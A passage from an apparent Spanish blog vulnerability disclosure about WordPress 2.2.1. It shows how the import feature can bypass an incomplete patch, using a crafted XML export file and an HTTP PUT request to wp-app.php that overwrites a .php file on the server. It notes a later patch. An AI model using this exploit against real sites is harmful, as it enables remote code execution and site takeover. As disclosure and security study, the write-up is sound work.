Como había comentado en la primera parte, la versión 2.2.1 de WordPress sólo arregla parte del problema reportado, esto se debe a que el parche utilizado sólo evita que se añada o actualice el valor de _wp_attached_file en la edición de entradas y páginas (ver la función add_meta en wp-admin/admin-functions.php).

Sin embargo, si esta vez utilizamos la funcionalidad para importar entradas desde otro blog con WordPress, podemos ingresar valores arbitrarios para _wp_attached_file. Por ejemplo el siguiente archivo XML está especialmente preparado para hacer eso:

<rss>
<channel>
	<item>
		<title>Exploit</title>
		<link>http://localhost/wp/?attachment_id=49</link>
		<pubDate>Sun, 24 Jun 2007 03:23:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		<wp:post_id>49</wp:post_id>
		<wp:post_name>exploit</wp:post_name>
		<wp:status>inherit</wp:status>
		<wp:post_type>attachment</wp:post_type>
		<wp:postmeta>
			<wp:meta_key>_wp_attached_file</wp:meta_key>
			<wp:meta_value>/home/vulnerable.com/public_html/wp-content/uploads/test.php</wp:meta_value>
		</wp:postmeta>
		<wp:postmeta>
			<wp:meta_key>_wp_attachment_metadata</wp:meta_key>
			<wp:meta_value>a:0:{}</wp:meta_value>
		</wp:postmeta>
	</item>
</channel>
</rss>

Una vez que se haya importado esa entrada, el proceso para sobrescribir el archivo es el mismo que en el anterior caso:

PUT /wp/wp-app.php?action=/attachment/file/49 HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Se agregó otro parche para intentar solucionar este problema en wp-app.php, el cual valida el archivo que se va a leer (función get_file) o sobreescribir (función put_file).